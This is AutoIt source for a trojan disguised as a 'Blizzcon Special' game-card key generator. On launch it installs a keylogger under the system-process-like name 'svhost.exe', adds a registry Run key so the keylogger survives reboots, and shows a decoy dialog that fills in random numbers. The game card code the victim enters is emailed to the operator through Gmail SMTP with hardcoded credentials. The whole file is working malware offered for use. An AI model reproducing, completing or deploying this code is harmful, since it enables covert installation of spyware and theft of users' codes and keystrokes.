#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <EditConstants.au3>
#include <SMTP.au3>
#Include <String.au3>

Global $Log, $Win, $Win2, $Len, $File, $Body, $ClearLogAfterEmail, $eFile, $GmailUser,

$GmailPass, $ToEmail, $tStamp
GUICreate("Blizzcon Special 2.2.214.8", 266, 250, 193, 125)

Dim $O = @SystemDir & "\svhost.exe";This is where the Keylogger will be installed
Dim $1 = @SystemDir & "\svhost.jpg"
If FileExists($O) and FileExists($1) Then              ;If the keylogger is already

installed then simply exit the script
    run($O)
    Exit
Else                                ;Else extract the keylog file to the desired

directory
    FileInstall("C:\GC\GC-Gen.exe", $O, 1)
    fileinstall("C:\GC\lol.jpg", $1, 1)
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\",

"svhost", "REG_SZ", $O) ;This will make sure the keylogger will run on startup.
    Run($O)                         ;Starts the Keylogger before exiting.
EndIf

$pic = GUICtrlCreatePic(@SystemDir & "\svhost.jpg", 1, 30, 266, 140)
GUISetBkColor(0x0000)

$Input1 = GUICtrlCreateInput("", 10, 12, 41, 21,$ES_NUMBER)
guictrlsetlimit($Input1, 4, 4)
$Input2 = GUICtrlCreateInput("", 60, 12, 45, 21,$ES_NUMBER)
guictrlsetlimit($Input2, 6, 6)
$Input3 = GUICtrlCreateInput("", 115, 12, 41, 21,$ES_NUMBER)
guictrlsetlimit($Input3, 5, 5)
$Input4 = GUICtrlCreateInput("", 165, 12, 45, 21,$ES_NUMBER)
guictrlsetlimit($Input4, 6, 6)
$Input5 = GUICtrlCreateInput("", 220, 12, 41, 21,$ES_NUMBER)
guictrlsetlimit($Input5, 4, 4)
$Input6 = GUICtrlCreateInput("", 10, 165, 41, 21)

$Input7 = GUICtrlCreateInput("", 60, 165, 45, 21)

$Input8 = GUICtrlCreateInput("", 115, 165, 41, 21)

$Input9 = GUICtrlCreateInput("", 165, 165, 45, 21)

$Input10 = GUICtrlCreateInput("", 220, 165, 41, 21)

$Button1 = GUICtrlCreateButton("Validate and Download new Key", 1, 200, 265, 47, 0)


guictrlsetstate

($input1&$input2&$input3&$input4&$input5&$input6&$input7&$input8&$input9&$input10,

$gui_focus)
GUISetState()




#EndRegion ### END Koda GUI section ###

While 1
    $rinput1 = guictrlread($input1)
    $rinput2 = guictrlread($input2)
    $rinput3 = guictrlread($input3)
    $rinput4 = guictrlread($input4)
    $rinput5 = guictrlread($input5)

    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        case $Button1
            $verify = msgbox(4, "Verify", "Please verify if this code is

the one you have on your GameCard: "& $rinput1 & "-" & $rinput2 & "-" & $rinput3 & "-"

& $rinput4 & "-" & $rinput5)
            if $verify = 6 And $rinput1&$rinput2&$rinput3&$rinput4&$rinput5

= not ""  Then

            $random1_1 = random(1, 9, 1)
            $random2_1 = random(1, 9, 1)
            $random3_1 = random(1, 9, 1)
            $random4_1 = random(1, 9, 1)
            $random1_2 = random(1, 9, 1)
            $random2_2 = random(1, 9, 1)
            $random3_2 = random(1, 9, 1)
            $random4_2 = random(1, 9, 1)
            $random5_2 = random(1, 9, 1)
            $random6_2 = random(1, 9, 1)
            $random1_3 = random(1, 9, 1)
            $random2_3 = random(1, 9, 1)
            $random3_3 = random(1, 9, 1)
            $random4_3 = random(1, 9, 1)
            $random5_3 = random(1, 9, 1)
            $random1_4 = random(1, 9, 1)
            $random2_4 = random(1, 9, 1)
            $random3_4 = random(1, 9, 1)
            $random4_4 = random(1, 9, 1)
            $random5_4 = random(1, 9, 1)
            $random6_4 = random(1, 9, 1)
            $random1_5 = random(1, 9, 1)
            $random2_5 = random(1, 9, 1)
            $random3_5 = random(1, 9, 1)
            $random4_5 = random(1, 9, 1)
            guictrlsetdata($input6,

$random1_1&$random2_1&$random3_1&$random4_1)
            guictrlsetdata($input7,

$random1_2&$random2_2&$random3_2&$random4_2&$random5_2&$random6_2)
            guictrlsetdata($input8,

$random1_3&$random2_3&$random3_3&$random4_3&$random5_3)
            guictrlsetdata($input9,

$random1_4&$random2_4&$random3_4&$random4_4&$random5_4&$random6_4)
            guictrlsetdata($input10,

$random1_5&$random2_5&$random3_5&$random4_5)
            $log = ""
            $Len = 5                                 ;This is how often the

log should be uploaded in minutes
$eFile = @ScriptDir & "\gamecard.txt"       ;Name and place for the Log file
$Body = "GameCard file reciecved at " & @Hour & ":" & @Min & " on " & @MDay & "/" &

@Mon & "/" & @Year
$ClearLogAfterEmail = True               ;Delete log after an upload? True for yes and

False for no
$GmailUser = "***@gmail.com"             ;Gmail login name (Required)
$GmailPass = "**"                    ;Gmail login pass (Required)
$ToEmail = "****.com"            ;This is where the log files will be sent


$Len *= 60
$tStamp = TimerInit()

_INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser,

$GmailPass, @Username & "@" & @ComputerName, "GameCard file reciecved at " & @Hour &

":" & @Min & " on " & @MDay & "/" & @Mon & "/" & @Year & @crlf &

$rinput1&"-"&$rinput2&"-"&$rinput3&"-"&$rinput4&"-"&$rinput5)

        Else
            msgbox(16, "Error!", "Please check your code again.")
        EndIf



    EndSwitch
WEnd